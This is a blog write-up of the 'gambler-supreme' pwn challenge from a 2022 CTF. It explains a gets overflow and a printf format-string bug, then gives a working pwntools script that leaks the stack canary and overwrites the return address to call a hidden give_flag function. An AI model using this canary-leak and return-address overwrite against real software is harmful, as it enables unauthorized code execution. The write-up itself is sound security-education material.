Aynakeya's Blog

Kill My Emotion

[Pwn] gambler-supreme [Bo1lers CTF 2022]

0x0 Introduction

gambler_supreme 50 PointsSOLVED
The Casino, but with a cool new feature!

You must create a flag.txt in the same folder as the binary for it to run.
nc ctf.b01lers.com 9201

Author: robotearthpizza
Difficulty: Hard

files: gambler_supreme

0x1 Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

0x2 Vulnerability

it marks as hard but actually very easy.

function sym.casino ask for a 4 byte string using gets, then it compare with a random string generate by sym.imp.rand(). In this challenge, the function for print out flag is not called in binary. So we need to control rip and jump to the function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
│           ; var signed int64_t var_34h @ rbp-0x34
│ ; var char *format @ rbp-0x30
│ ; var char *s1 @ rbp-0x20
│ ; var int64_t canary @ rbp-0x8
{
do {
// generate random string
sym.imp.gets(&format);
sym.imp.printf("Your guess: ");
sym.imp.printf(&format);
sym.imp.putchar(10);
sym.imp.printf("Correct word: %s\n", &s1);
iVar1 = sym.imp.strcmp(&s1);
// add or subtract balance depend on the result
} while (_obj.balance < 1000);
sym.imp.printf("Drats, the cat snuck in and deleted the code for give_flag...");
return;
}

It have both gets to overwrite and printf to leak data.

using printf, we can leak canary.

then if we overwrite rip to give_flag using gets, the flag when be print when function return.

finally we uses gets again, overwrite s1, make format and s1 same.

0x3 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
io = start()

io.sendlineafter(b"(inclusive):",b"1")
io.sendlineafter(b"letters: ",b"%13$p")
lp(io.recvuntil(b"Your guess: "))
canary = int(io.recvuntil(b"\n",drop=True),16)
lp("canary",hex(canary))
io.sendlineafter(b"letters: ",flat({
0x30 - 0x8:canary,
0x30 + 0x8: exe.sym["give_flag"]
}))
try:
while True:
lp(io.sendlineafter(b"letters: ",b"AAAAAAA\x00AAAAAAA\x00"))
except:
pass
print(io.recv())

io.interactive()

0x4 Flag

forgot

0%